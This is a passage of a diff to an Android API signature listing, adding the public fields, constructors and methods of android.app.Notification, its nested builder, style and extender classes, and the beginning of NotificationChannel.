+    field public static final String CATEGORY_CALL = "call";
+    field public static final String CATEGORY_EMAIL = "email";
+    field public static final String CATEGORY_ERROR = "err";
+    field public static final String CATEGORY_EVENT = "event";
+    field public static final String CATEGORY_LOCATION_SHARING = "location_sharing";
+    field public static final String CATEGORY_MESSAGE = "msg";
+    field public static final String CATEGORY_MISSED_CALL = "missed_call";
+    field public static final String CATEGORY_NAVIGATION = "navigation";
+    field public static final String CATEGORY_PROGRESS = "progress";
+    field public static final String CATEGORY_PROMO = "promo";
+    field public static final String CATEGORY_RECOMMENDATION = "recommendation";
+    field public static final String CATEGORY_REMINDER = "reminder";
+    field public static final String CATEGORY_SERVICE = "service";
+    field public static final String CATEGORY_SOCIAL = "social";
+    field public static final String CATEGORY_STATUS = "status";
+    field public static final String CATEGORY_STOPWATCH = "stopwatch";
+    field public static final String CATEGORY_SYSTEM = "sys";
+    field public static final String CATEGORY_TRANSPORT = "transport";
+    field public static final String CATEGORY_WORKOUT = "workout";
+    field @ColorInt public static final int COLOR_DEFAULT = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.Notification> CREATOR;
+    field public static final int DEFAULT_ALL = -1; // 0xffffffff
+    field public static final int DEFAULT_LIGHTS = 4; // 0x4
+    field public static final int DEFAULT_SOUND = 1; // 0x1
+    field public static final int DEFAULT_VIBRATE = 2; // 0x2
+    field public static final String EXTRA_ANSWER_COLOR = "android.answerColor";
+    field public static final String EXTRA_ANSWER_INTENT = "android.answerIntent";
+    field public static final String EXTRA_AUDIO_CONTENTS_URI = "android.audioContents";
+    field public static final String EXTRA_BACKGROUND_IMAGE_URI = "android.backgroundImageUri";
+    field public static final String EXTRA_BIG_TEXT = "android.bigText";
+    field public static final String EXTRA_CALL_IS_VIDEO = "android.callIsVideo";
+    field public static final String EXTRA_CALL_PERSON = "android.callPerson";
+    field public static final String EXTRA_CHANNEL_GROUP_ID = "android.intent.extra.CHANNEL_GROUP_ID";
+    field public static final String EXTRA_CHANNEL_ID = "android.intent.extra.CHANNEL_ID";
+    field public static final String EXTRA_CHRONOMETER_COUNT_DOWN = "android.chronometerCountDown";
+    field public static final String EXTRA_COLORIZED = "android.colorized";
+    field public static final String EXTRA_COMPACT_ACTIONS = "android.compactActions";
+    field public static final String EXTRA_CONVERSATION_TITLE = "android.conversationTitle";
+    field public static final String EXTRA_DECLINE_COLOR = "android.declineColor";
+    field public static final String EXTRA_DECLINE_INTENT = "android.declineIntent";
+    field public static final String EXTRA_HANG_UP_INTENT = "android.hangUpIntent";
+    field public static final String EXTRA_HISTORIC_MESSAGES = "android.messages.historic";
+    field public static final String EXTRA_INFO_TEXT = "android.infoText";
+    field public static final String EXTRA_IS_GROUP_CONVERSATION = "android.isGroupConversation";
+    field @Deprecated public static final String EXTRA_LARGE_ICON = "android.largeIcon";
+    field public static final String EXTRA_LARGE_ICON_BIG = "android.largeIcon.big";
+    field public static final String EXTRA_MEDIA_SESSION = "android.mediaSession";
+    field public static final String EXTRA_MESSAGES = "android.messages";
+    field public static final String EXTRA_MESSAGING_PERSON = "android.messagingUser";
+    field public static final String EXTRA_NOTIFICATION_ID = "android.intent.extra.NOTIFICATION_ID";
+    field public static final String EXTRA_NOTIFICATION_TAG = "android.intent.extra.NOTIFICATION_TAG";
+    field @Deprecated public static final String EXTRA_PEOPLE = "android.people";
+    field public static final String EXTRA_PEOPLE_LIST = "android.people.list";
+    field public static final String EXTRA_PICTURE = "android.picture";
+    field public static final String EXTRA_PICTURE_CONTENT_DESCRIPTION = "android.pictureContentDescription";
+    field public static final String EXTRA_PICTURE_ICON = "android.pictureIcon";
+    field public static final String EXTRA_PROGRESS = "android.progress";
+    field public static final String EXTRA_PROGRESS_INDETERMINATE = "android.progressIndeterminate";
+    field public static final String EXTRA_PROGRESS_MAX = "android.progressMax";
+    field public static final String EXTRA_REMOTE_INPUT_DRAFT = "android.remoteInputDraft";
+    field public static final String EXTRA_REMOTE_INPUT_HISTORY = "android.remoteInputHistory";
+    field @Deprecated public static final String EXTRA_SELF_DISPLAY_NAME = "android.selfDisplayName";
+    field public static final String EXTRA_SHOW_BIG_PICTURE_WHEN_COLLAPSED = "android.showBigPictureWhenCollapsed";
+    field public static final String EXTRA_SHOW_CHRONOMETER = "android.showChronometer";
+    field public static final String EXTRA_SHOW_WHEN = "android.showWhen";
+    field @Deprecated public static final String EXTRA_SMALL_ICON = "android.icon";
+    field public static final String EXTRA_SUB_TEXT = "android.subText";
+    field public static final String EXTRA_SUMMARY_TEXT = "android.summaryText";
+    field public static final String EXTRA_TEMPLATE = "android.template";
+    field public static final String EXTRA_TEXT = "android.text";
+    field public static final String EXTRA_TEXT_LINES = "android.textLines";
+    field public static final String EXTRA_TITLE = "android.title";
+    field public static final String EXTRA_TITLE_BIG = "android.title.big";
+    field public static final String EXTRA_VERIFICATION_ICON = "android.verificationIcon";
+    field public static final String EXTRA_VERIFICATION_TEXT = "android.verificationText";
+    field public static final int FLAG_AUTO_CANCEL = 16; // 0x10
+    field public static final int FLAG_BUBBLE = 4096; // 0x1000
+    field public static final int FLAG_FOREGROUND_SERVICE = 64; // 0x40
+    field public static final int FLAG_GROUP_SUMMARY = 512; // 0x200
+    field @Deprecated public static final int FLAG_HIGH_PRIORITY = 128; // 0x80
+    field public static final int FLAG_INSISTENT = 4; // 0x4
+    field public static final int FLAG_LOCAL_ONLY = 256; // 0x100
+    field public static final int FLAG_NO_CLEAR = 32; // 0x20
+    field public static final int FLAG_ONGOING_EVENT = 2; // 0x2
+    field public static final int FLAG_ONLY_ALERT_ONCE = 8; // 0x8
+    field @Deprecated public static final int FLAG_SHOW_LIGHTS = 1; // 0x1
+    field public static final int FOREGROUND_SERVICE_DEFAULT = 0; // 0x0
+    field public static final int FOREGROUND_SERVICE_DEFERRED = 2; // 0x2
+    field public static final int FOREGROUND_SERVICE_IMMEDIATE = 1; // 0x1
+    field public static final int GROUP_ALERT_ALL = 0; // 0x0
+    field public static final int GROUP_ALERT_CHILDREN = 2; // 0x2
+    field public static final int GROUP_ALERT_SUMMARY = 1; // 0x1
+    field public static final String INTENT_CATEGORY_NOTIFICATION_PREFERENCES = "android.intent.category.NOTIFICATION_PREFERENCES";
+    field @Deprecated public static final int PRIORITY_DEFAULT = 0; // 0x0
+    field @Deprecated public static final int PRIORITY_HIGH = 1; // 0x1
+    field @Deprecated public static final int PRIORITY_LOW = -1; // 0xffffffff
+    field @Deprecated public static final int PRIORITY_MAX = 2; // 0x2
+    field @Deprecated public static final int PRIORITY_MIN = -2; // 0xfffffffe
+    field @Deprecated public static final int STREAM_DEFAULT = -1; // 0xffffffff
+    field public static final int VISIBILITY_PRIVATE = 0; // 0x0
+    field public static final int VISIBILITY_PUBLIC = 1; // 0x1
+    field public static final int VISIBILITY_SECRET = -1; // 0xffffffff
+    field public android.app.Notification.Action[] actions;
+    field @Deprecated public android.media.AudioAttributes audioAttributes;
+    field @Deprecated public int audioStreamType;
+    field @Deprecated public android.widget.RemoteViews bigContentView;
+    field public String category;
+    field @ColorInt public int color;
+    field public android.app.PendingIntent contentIntent;
+    field @Deprecated public android.widget.RemoteViews contentView;
+    field @Deprecated public int defaults;
+    field public android.app.PendingIntent deleteIntent;
+    field public android.os.Bundle extras;
+    field public int flags;
+    field public android.app.PendingIntent fullScreenIntent;
+    field @Deprecated public android.widget.RemoteViews headsUpContentView;
+    field @Deprecated @DrawableRes public int icon;
+    field public int iconLevel;
+    field @Deprecated public android.graphics.Bitmap largeIcon;
+    field @Deprecated @ColorInt public int ledARGB;
+    field @Deprecated public int ledOffMS;
+    field @Deprecated public int ledOnMS;
+    field public int number;
+    field @Deprecated public int priority;
+    field public android.app.Notification publicVersion;
+    field @Deprecated public android.net.Uri sound;
+    field public CharSequence tickerText;
+    field @Deprecated public android.widget.RemoteViews tickerView;
+    field @Deprecated public long[] vibrate;
+    field public int visibility;
+    field public long when;
+  }
+
+  public static class Notification.Action implements android.os.Parcelable {
+    ctor @Deprecated public Notification.Action(int, CharSequence, android.app.PendingIntent);
+    method public android.app.Notification.Action clone();
+    method public int describeContents();
+    method public boolean getAllowGeneratedReplies();
+    method public android.app.RemoteInput[] getDataOnlyRemoteInputs();
+    method public android.os.Bundle getExtras();
+    method public android.graphics.drawable.Icon getIcon();
+    method public android.app.RemoteInput[] getRemoteInputs();
+    method public int getSemanticAction();
+    method public boolean isAuthenticationRequired();
+    method public boolean isContextual();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.Notification.Action> CREATOR;
+    field public static final int SEMANTIC_ACTION_ARCHIVE = 5; // 0x5
+    field public static final int SEMANTIC_ACTION_CALL = 10; // 0xa
+    field public static final int SEMANTIC_ACTION_DELETE = 4; // 0x4
+    field public static final int SEMANTIC_ACTION_MARK_AS_READ = 2; // 0x2
+    field public static final int SEMANTIC_ACTION_MARK_AS_UNREAD = 3; // 0x3
+    field public static final int SEMANTIC_ACTION_MUTE = 6; // 0x6
+    field public static final int SEMANTIC_ACTION_NONE = 0; // 0x0
+    field public static final int SEMANTIC_ACTION_REPLY = 1; // 0x1
+    field public static final int SEMANTIC_ACTION_THUMBS_DOWN = 9; // 0x9
+    field public static final int SEMANTIC_ACTION_THUMBS_UP = 8; // 0x8
+    field public static final int SEMANTIC_ACTION_UNMUTE = 7; // 0x7
+    field public android.app.PendingIntent actionIntent;
+    field @Deprecated public int icon;
+    field public CharSequence title;
+  }
+
+  public static final class Notification.Action.Builder {
+    ctor @Deprecated public Notification.Action.Builder(int, CharSequence, android.app.PendingIntent);
+    ctor public Notification.Action.Builder(android.graphics.drawable.Icon, CharSequence, android.app.PendingIntent);
+    ctor public Notification.Action.Builder(android.app.Notification.Action);
+    method @NonNull public android.app.Notification.Action.Builder addExtras(android.os.Bundle);
+    method @NonNull public android.app.Notification.Action.Builder addRemoteInput(android.app.RemoteInput);
+    method @NonNull public android.app.Notification.Action build();
+    method @NonNull public android.app.Notification.Action.Builder extend(android.app.Notification.Action.Extender);
+    method @NonNull public android.os.Bundle getExtras();
+    method @NonNull public android.app.Notification.Action.Builder setAllowGeneratedReplies(boolean);
+    method @NonNull public android.app.Notification.Action.Builder setAuthenticationRequired(boolean);
+    method @NonNull public android.app.Notification.Action.Builder setContextual(boolean);
+    method @NonNull public android.app.Notification.Action.Builder setSemanticAction(int);
+  }
+
+  public static interface Notification.Action.Extender {
+    method public android.app.Notification.Action.Builder extend(android.app.Notification.Action.Builder);
+  }
+
+  public static final class Notification.Action.WearableExtender implements android.app.Notification.Action.Extender {
+    ctor public Notification.Action.WearableExtender();
+    ctor public Notification.Action.WearableExtender(android.app.Notification.Action);
+    method public android.app.Notification.Action.WearableExtender clone();
+    method public android.app.Notification.Action.Builder extend(android.app.Notification.Action.Builder);
+    method @Deprecated public CharSequence getCancelLabel();
+    method @Deprecated public CharSequence getConfirmLabel();
+    method public boolean getHintDisplayActionInline();
+    method public boolean getHintLaunchesActivity();
+    method @Deprecated public CharSequence getInProgressLabel();
+    method public boolean isAvailableOffline();
+    method public android.app.Notification.Action.WearableExtender setAvailableOffline(boolean);
+    method @Deprecated public android.app.Notification.Action.WearableExtender setCancelLabel(CharSequence);
+    method @Deprecated public android.app.Notification.Action.WearableExtender setConfirmLabel(CharSequence);
+    method public android.app.Notification.Action.WearableExtender setHintDisplayActionInline(boolean);
+    method public android.app.Notification.Action.WearableExtender setHintLaunchesActivity(boolean);
+    method @Deprecated public android.app.Notification.Action.WearableExtender setInProgressLabel(CharSequence);
+  }
+
+  public static class Notification.BigPictureStyle extends android.app.Notification.Style {
+    ctor public Notification.BigPictureStyle();
+    ctor @Deprecated public Notification.BigPictureStyle(android.app.Notification.Builder);
+    method @NonNull public android.app.Notification.BigPictureStyle bigLargeIcon(@Nullable android.graphics.Bitmap);
+    method @NonNull public android.app.Notification.BigPictureStyle bigLargeIcon(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.app.Notification.BigPictureStyle bigPicture(@Nullable android.graphics.Bitmap);
+    method @NonNull public android.app.Notification.BigPictureStyle bigPicture(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.app.Notification.BigPictureStyle setBigContentTitle(@Nullable CharSequence);
+    method @NonNull public android.app.Notification.BigPictureStyle setContentDescription(@Nullable CharSequence);
+    method @NonNull public android.app.Notification.BigPictureStyle setSummaryText(@Nullable CharSequence);
+    method @NonNull public android.app.Notification.BigPictureStyle showBigPictureWhenCollapsed(boolean);
+  }
+
+  public static class Notification.BigTextStyle extends android.app.Notification.Style {
+    ctor public Notification.BigTextStyle();
+    ctor @Deprecated public Notification.BigTextStyle(android.app.Notification.Builder);
+    method public android.app.Notification.BigTextStyle bigText(CharSequence);
+    method public android.app.Notification.BigTextStyle setBigContentTitle(CharSequence);
+    method public android.app.Notification.BigTextStyle setSummaryText(CharSequence);
+  }
+
+  public static final class Notification.BubbleMetadata implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean getAutoExpandBubble();
+    method @Nullable public android.app.PendingIntent getDeleteIntent();
+    method @Dimension(unit=android.annotation.Dimension.DP) public int getDesiredHeight();
+    method @DimenRes public int getDesiredHeightResId();
+    method @Nullable public android.graphics.drawable.Icon getIcon();
+    method @Nullable public android.app.PendingIntent getIntent();
+    method @Nullable public String getShortcutId();
+    method public boolean isBubbleSuppressable();
+    method public boolean isBubbleSuppressed();
+    method public boolean isNotificationSuppressed();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.app.Notification.BubbleMetadata> CREATOR;
+  }
+
+  public static final class Notification.BubbleMetadata.Builder {
+    ctor @Deprecated public Notification.BubbleMetadata.Builder();
+    ctor public Notification.BubbleMetadata.Builder(@NonNull String);
+    ctor public Notification.BubbleMetadata.Builder(@NonNull android.app.PendingIntent, @NonNull android.graphics.drawable.Icon);
+    method @NonNull public android.app.Notification.BubbleMetadata build();
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setAutoExpandBubble(boolean);
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setDeleteIntent(@Nullable android.app.PendingIntent);
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setDesiredHeight(@Dimension(unit=android.annotation.Dimension.DP) int);
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setDesiredHeightResId(@DimenRes int);
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setIcon(@NonNull android.graphics.drawable.Icon);
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setIntent(@NonNull android.app.PendingIntent);
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setSuppressNotification(boolean);
+    method @NonNull public android.app.Notification.BubbleMetadata.Builder setSuppressableBubble(boolean);
+  }
+
+  public static class Notification.Builder {
+    ctor public Notification.Builder(android.content.Context, String);
+    ctor @Deprecated public Notification.Builder(android.content.Context);
+    method @Deprecated public android.app.Notification.Builder addAction(int, CharSequence, android.app.PendingIntent);
+    method @NonNull public android.app.Notification.Builder addAction(android.app.Notification.Action);
+    method @NonNull public android.app.Notification.Builder addExtras(android.os.Bundle);
+    method @Deprecated public android.app.Notification.Builder addPerson(String);
+    method @NonNull public android.app.Notification.Builder addPerson(android.app.Person);
+    method @NonNull public android.app.Notification build();
+    method public android.widget.RemoteViews createBigContentView();
+    method public android.widget.RemoteViews createContentView();
+    method public android.widget.RemoteViews createHeadsUpContentView();
+    method @NonNull public android.app.Notification.Builder extend(android.app.Notification.Extender);
+    method public android.os.Bundle getExtras();
+    method @Deprecated public android.app.Notification getNotification();
+    method public android.app.Notification.Style getStyle();
+    method @NonNull public static android.app.Notification.Builder recoverBuilder(android.content.Context, android.app.Notification);
+    method @NonNull public android.app.Notification.Builder setActions(android.app.Notification.Action...);
+    method @NonNull public android.app.Notification.Builder setAllowSystemGeneratedContextualActions(boolean);
+    method @NonNull public android.app.Notification.Builder setAutoCancel(boolean);
+    method @NonNull public android.app.Notification.Builder setBadgeIconType(int);
+    method @NonNull public android.app.Notification.Builder setBubbleMetadata(@Nullable android.app.Notification.BubbleMetadata);
+    method @NonNull public android.app.Notification.Builder setCategory(String);
+    method @NonNull public android.app.Notification.Builder setChannelId(String);
+    method @NonNull public android.app.Notification.Builder setChronometerCountDown(boolean);
+    method @NonNull public android.app.Notification.Builder setColor(@ColorInt int);
+    method @NonNull public android.app.Notification.Builder setColorized(boolean);
+    method @Deprecated public android.app.Notification.Builder setContent(android.widget.RemoteViews);
+    method @Deprecated public android.app.Notification.Builder setContentInfo(CharSequence);
+    method @NonNull public android.app.Notification.Builder setContentIntent(android.app.PendingIntent);
+    method @NonNull public android.app.Notification.Builder setContentText(CharSequence);
+    method @NonNull public android.app.Notification.Builder setContentTitle(CharSequence);
+    method @NonNull public android.app.Notification.Builder setCustomBigContentView(android.widget.RemoteViews);
+    method @NonNull public android.app.Notification.Builder setCustomContentView(android.widget.RemoteViews);
+    method @NonNull public android.app.Notification.Builder setCustomHeadsUpContentView(android.widget.RemoteViews);
+    method @Deprecated public android.app.Notification.Builder setDefaults(int);
+    method @NonNull public android.app.Notification.Builder setDeleteIntent(android.app.PendingIntent);
+    method @NonNull public android.app.Notification.Builder setExtras(android.os.Bundle);
+    method @NonNull public android.app.Notification.Builder setFlag(int, boolean);
+    method @NonNull public android.app.Notification.Builder setForegroundServiceBehavior(int);
+    method @NonNull public android.app.Notification.Builder setFullScreenIntent(android.app.PendingIntent, boolean);
+    method @NonNull public android.app.Notification.Builder setGroup(String);
+    method @NonNull public android.app.Notification.Builder setGroupAlertBehavior(int);
+    method @NonNull public android.app.Notification.Builder setGroupSummary(boolean);
+    method @NonNull public android.app.Notification.Builder setLargeIcon(android.graphics.Bitmap);
+    method @NonNull public android.app.Notification.Builder setLargeIcon(android.graphics.drawable.Icon);
+    method @Deprecated public android.app.Notification.Builder setLights(@ColorInt int, int, int);
+    method @NonNull public android.app.Notification.Builder setLocalOnly(boolean);
+    method @NonNull public android.app.Notification.Builder setLocusId(@Nullable android.content.LocusId);
+    method @NonNull public android.app.Notification.Builder setNumber(int);
+    method @NonNull public android.app.Notification.Builder setOngoing(boolean);
+    method @NonNull public android.app.Notification.Builder setOnlyAlertOnce(boolean);
+    method @Deprecated public android.app.Notification.Builder setPriority(int);
+    method @NonNull public android.app.Notification.Builder setProgress(int, int, boolean);
+    method @NonNull public android.app.Notification.Builder setPublicVersion(android.app.Notification);
+    method @NonNull public android.app.Notification.Builder setRemoteInputHistory(CharSequence[]);
+    method @NonNull public android.app.Notification.Builder setSettingsText(CharSequence);
+    method @NonNull public android.app.Notification.Builder setShortcutId(String);
+    method @NonNull public android.app.Notification.Builder setShowWhen(boolean);
+    method @NonNull public android.app.Notification.Builder setSmallIcon(@DrawableRes int);
+    method @NonNull public android.app.Notification.Builder setSmallIcon(@DrawableRes int, int);
+    method @NonNull public android.app.Notification.Builder setSmallIcon(android.graphics.drawable.Icon);
+    method @NonNull public android.app.Notification.Builder setSortKey(String);
+    method @Deprecated public android.app.Notification.Builder setSound(android.net.Uri);
+    method @Deprecated public android.app.Notification.Builder setSound(android.net.Uri, int);
+    method @Deprecated public android.app.Notification.Builder setSound(android.net.Uri, android.media.AudioAttributes);
+    method @NonNull public android.app.Notification.Builder setStyle(android.app.Notification.Style);
+    method @NonNull public android.app.Notification.Builder setSubText(CharSequence);
+    method @NonNull public android.app.Notification.Builder setTicker(CharSequence);
+    method @Deprecated public android.app.Notification.Builder setTicker(CharSequence, android.widget.RemoteViews);
+    method @NonNull public android.app.Notification.Builder setTimeoutAfter(long);
+    method @NonNull public android.app.Notification.Builder setUsesChronometer(boolean);
+    method @Deprecated public android.app.Notification.Builder setVibrate(long[]);
+    method @NonNull public android.app.Notification.Builder setVisibility(int);
+    method @NonNull public android.app.Notification.Builder setWhen(long);
+  }
+
+  public static class Notification.CallStyle extends android.app.Notification.Style {
+    method @NonNull public static android.app.Notification.CallStyle forIncomingCall(@NonNull android.app.Person, @NonNull android.app.PendingIntent, @NonNull android.app.PendingIntent);
+    method @NonNull public static android.app.Notification.CallStyle forOngoingCall(@NonNull android.app.Person, @NonNull android.app.PendingIntent);
+    method @NonNull public static android.app.Notification.CallStyle forScreeningCall(@NonNull android.app.Person, @NonNull android.app.PendingIntent, @NonNull android.app.PendingIntent);
+    method @NonNull public android.app.Notification.CallStyle setAnswerButtonColorHint(@ColorInt int);
+    method @NonNull public android.app.Notification.CallStyle setDeclineButtonColorHint(@ColorInt int);
+    method @NonNull public android.app.Notification.CallStyle setIsVideo(boolean);
+    method @NonNull public android.app.Notification.CallStyle setVerificationIcon(@Nullable android.graphics.drawable.Icon);
+    method @NonNull public android.app.Notification.CallStyle setVerificationText(@Nullable CharSequence);
+  }
+
+  public static final class Notification.CarExtender implements android.app.Notification.Extender {
+    ctor public Notification.CarExtender();
+    ctor public Notification.CarExtender(android.app.Notification);
+    method public android.app.Notification.Builder extend(android.app.Notification.Builder);
+    method @ColorInt public int getColor();
+    method public android.graphics.Bitmap getLargeIcon();
+    method public android.app.Notification.CarExtender.UnreadConversation getUnreadConversation();
+    method public android.app.Notification.CarExtender setColor(@ColorInt int);
+    method public android.app.Notification.CarExtender setLargeIcon(android.graphics.Bitmap);
+    method public android.app.Notification.CarExtender setUnreadConversation(android.app.Notification.CarExtender.UnreadConversation);
+  }
+
+  public static class Notification.CarExtender.Builder {
+    ctor public Notification.CarExtender.Builder(String);
+    method public android.app.Notification.CarExtender.Builder addMessage(String);
+    method public android.app.Notification.CarExtender.UnreadConversation build();
+    method public android.app.Notification.CarExtender.Builder setLatestTimestamp(long);
+    method public android.app.Notification.CarExtender.Builder setReadPendingIntent(android.app.PendingIntent);
+    method public android.app.Notification.CarExtender.Builder setReplyAction(android.app.PendingIntent, android.app.RemoteInput);
+  }
+
+  public static class Notification.CarExtender.UnreadConversation {
+    method public long getLatestTimestamp();
+    method public String[] getMessages();
+    method public String getParticipant();
+    method public String[] getParticipants();
+    method public android.app.PendingIntent getReadPendingIntent();
+    method public android.app.RemoteInput getRemoteInput();
+    method public android.app.PendingIntent getReplyPendingIntent();
+  }
+
+  public static class Notification.DecoratedCustomViewStyle extends android.app.Notification.Style {
+    ctor public Notification.DecoratedCustomViewStyle();
+  }
+
+  public static class Notification.DecoratedMediaCustomViewStyle extends android.app.Notification.MediaStyle {
+    ctor public Notification.DecoratedMediaCustomViewStyle();
+  }
+
+  public static interface Notification.Extender {
+    method public android.app.Notification.Builder extend(android.app.Notification.Builder);
+  }
+
+  public static class Notification.InboxStyle extends android.app.Notification.Style {
+    ctor public Notification.InboxStyle();
+    ctor @Deprecated public Notification.InboxStyle(android.app.Notification.Builder);
+    method public android.app.Notification.InboxStyle addLine(CharSequence);
+    method public android.app.Notification.InboxStyle setBigContentTitle(CharSequence);
+    method public android.app.Notification.InboxStyle setSummaryText(CharSequence);
+  }
+
+  public static class Notification.MediaStyle extends android.app.Notification.Style {
+    ctor public Notification.MediaStyle();
+    ctor @Deprecated public Notification.MediaStyle(android.app.Notification.Builder);
+    method public android.app.Notification.MediaStyle setMediaSession(android.media.session.MediaSession.Token);
+    method public android.app.Notification.MediaStyle setShowActionsInCompactView(int...);
+  }
+
+  public static class Notification.MessagingStyle extends android.app.Notification.Style {
+    ctor @Deprecated public Notification.MessagingStyle(@NonNull CharSequence);
+    ctor public Notification.MessagingStyle(@NonNull android.app.Person);
+    method public android.app.Notification.MessagingStyle addHistoricMessage(android.app.Notification.MessagingStyle.Message);
+    method @Deprecated public android.app.Notification.MessagingStyle addMessage(CharSequence, long, CharSequence);
+    method public android.app.Notification.MessagingStyle addMessage(@NonNull CharSequence, long, @Nullable android.app.Person);
+    method public android.app.Notification.MessagingStyle addMessage(android.app.Notification.MessagingStyle.Message);
+    method @Nullable public CharSequence getConversationTitle();
+    method public java.util.List<android.app.Notification.MessagingStyle.Message> getHistoricMessages();
+    method public java.util.List<android.app.Notification.MessagingStyle.Message> getMessages();
+    method @NonNull public android.app.Person getUser();
+    method @Deprecated public CharSequence getUserDisplayName();
+    method public boolean isGroupConversation();
+    method public android.app.Notification.MessagingStyle setConversationTitle(@Nullable CharSequence);
+    method public android.app.Notification.MessagingStyle setGroupConversation(boolean);
+    field public static final int MAXIMUM_RETAINED_MESSAGES = 25; // 0x19
+  }
+
+  public static final class Notification.MessagingStyle.Message {
+    ctor @Deprecated public Notification.MessagingStyle.Message(CharSequence, long, CharSequence);
+    ctor public Notification.MessagingStyle.Message(@NonNull CharSequence, long, @Nullable android.app.Person);
+    method public String getDataMimeType();
+    method public android.net.Uri getDataUri();
+    method public android.os.Bundle getExtras();
+    method @NonNull public static java.util.List<android.app.Notification.MessagingStyle.Message> getMessagesFromBundleArray(@Nullable android.os.Parcelable[]);
+    method @Deprecated public CharSequence getSender();
+    method @Nullable public android.app.Person getSenderPerson();
+    method public CharSequence getText();
+    method public long getTimestamp();
+    method public android.app.Notification.MessagingStyle.Message setData(String, android.net.Uri);
+  }
+
+  public abstract static class Notification.Style {
+    ctor public Notification.Style();
+    method public android.app.Notification build();
+    method protected void checkBuilder();
+    method protected android.widget.RemoteViews getStandardView(int);
+    method protected void internalSetBigContentTitle(CharSequence);
+    method protected void internalSetSummaryText(CharSequence);
+    method public void setBuilder(android.app.Notification.Builder);
+    field protected android.app.Notification.Builder mBuilder;
+  }
+
+  public static final class Notification.WearableExtender implements android.app.Notification.Extender {
+    ctor public Notification.WearableExtender();
+    ctor public Notification.WearableExtender(android.app.Notification);
+    method public android.app.Notification.WearableExtender addAction(android.app.Notification.Action);
+    method public android.app.Notification.WearableExtender addActions(java.util.List<android.app.Notification.Action>);
+    method @Deprecated public android.app.Notification.WearableExtender addPage(android.app.Notification);
+    method @Deprecated public android.app.Notification.WearableExtender addPages(java.util.List<android.app.Notification>);
+    method public android.app.Notification.WearableExtender clearActions();
+    method @Deprecated public android.app.Notification.WearableExtender clearPages();
+    method public android.app.Notification.WearableExtender clone();
+    method public android.app.Notification.Builder extend(android.app.Notification.Builder);
+    method public java.util.List<android.app.Notification.Action> getActions();
+    method @Deprecated public android.graphics.Bitmap getBackground();
+    method public String getBridgeTag();
+    method public int getContentAction();
+    method @Deprecated public int getContentIcon();
+    method @Deprecated public int getContentIconGravity();
+    method public boolean getContentIntentAvailableOffline();
+    method @Deprecated public int getCustomContentHeight();
+    method @Deprecated public int getCustomSizePreset();
+    method public String getDismissalId();
+    method @Deprecated public android.app.PendingIntent getDisplayIntent();
+    method @Deprecated public int getGravity();
+    method @Deprecated public boolean getHintAmbientBigPicture();
+    method @Deprecated public boolean getHintAvoidBackgroundClipping();
+    method public boolean getHintContentIntentLaunchesActivity();
+    method @Deprecated public boolean getHintHideIcon();
+    method @Deprecated public int getHintScreenTimeout();
+    method @Deprecated public boolean getHintShowBackgroundOnly();
+    method @Deprecated public java.util.List<android.app.Notification> getPages();
+    method public boolean getStartScrollBottom();
+    method @Deprecated public android.app.Notification.WearableExtender setBackground(android.graphics.Bitmap);
+    method public android.app.Notification.WearableExtender setBridgeTag(String);
+    method public android.app.Notification.WearableExtender setContentAction(int);
+    method @Deprecated public android.app.Notification.WearableExtender setContentIcon(int);
+    method @Deprecated public android.app.Notification.WearableExtender setContentIconGravity(int);
+    method public android.app.Notification.WearableExtender setContentIntentAvailableOffline(boolean);
+    method @Deprecated public android.app.Notification.WearableExtender setCustomContentHeight(int);
+    method @Deprecated public android.app.Notification.WearableExtender setCustomSizePreset(int);
+    method public android.app.Notification.WearableExtender setDismissalId(String);
+    method @Deprecated public android.app.Notification.WearableExtender setDisplayIntent(android.app.PendingIntent);
+    method @Deprecated public android.app.Notification.WearableExtender setGravity(int);
+    method @Deprecated public android.app.Notification.WearableExtender setHintAmbientBigPicture(boolean);
+    method @Deprecated public android.app.Notification.WearableExtender setHintAvoidBackgroundClipping(boolean);
+    method public android.app.Notification.WearableExtender setHintContentIntentLaunchesActivity(boolean);
+    method @Deprecated public android.app.Notification.WearableExtender setHintHideIcon(boolean);
+    method @Deprecated public android.app.Notification.WearableExtender setHintScreenTimeout(int);
+    method @Deprecated public android.app.Notification.WearableExtender setHintShowBackgroundOnly(boolean);
+    method public android.app.Notification.WearableExtender setStartScrollBottom(boolean);
+    field @Deprecated public static final int SCREEN_TIMEOUT_LONG = -1; // 0xffffffff
+    field @Deprecated public static final int SCREEN_TIMEOUT_SHORT = 0; // 0x0
+    field @Deprecated public static final int SIZE_DEFAULT = 0; // 0x0
+    field @Deprecated public static final int SIZE_FULL_SCREEN = 5; // 0x5
+    field @Deprecated public static final int SIZE_LARGE = 4; // 0x4
+    field @Deprecated public static final int SIZE_MEDIUM = 3; // 0x3
+    field @Deprecated public static final int SIZE_SMALL = 2; // 0x2
+    field @Deprecated public static final int SIZE_XSMALL = 1; // 0x1
+    field public static final int UNSET_ACTION_INDEX = -1; // 0xffffffff
+  }
+
+  public final class NotificationChannel implements android.os.Parcelable {
+    ctor public NotificationChannel(String, CharSequence, int);
+    method public boolean canBubble();
+    method public boolean canBypassDnd();
+    method public boolean canShowBadge();
+    method public int describeContents();
+    method public void enableLights(boolean);
+    method public void enableVibration(boolean);
+    method public android.media.AudioAttributes getAudioAttributes();
+    method @Nullable public String getConversationId();
+    method public String getDescription();
+    method public String getGroup();
+    method public String getId();
+    method public int getImportance();
+    method public int getLightColor();
+    method public int getLockscreenVisibility();
+    method public CharSequence getName();
+    method @Nullable public String getParentChannelId();
+    method public android.net.Uri getSound();
+    method public long[] getVibrationPattern();
+    method public boolean hasUserSetImportance();
+    method public boolean hasUserSetSound();
+    method public boolean isConversation();
+    method public boolean isDemoted();
+    method public boolean isImportantConversation();
+    method public void setAllowBubbles(boolean);
+    method public void setBypassDnd(boolean);
+    method public void setConversationId(@NonNull String, @NonNull String);
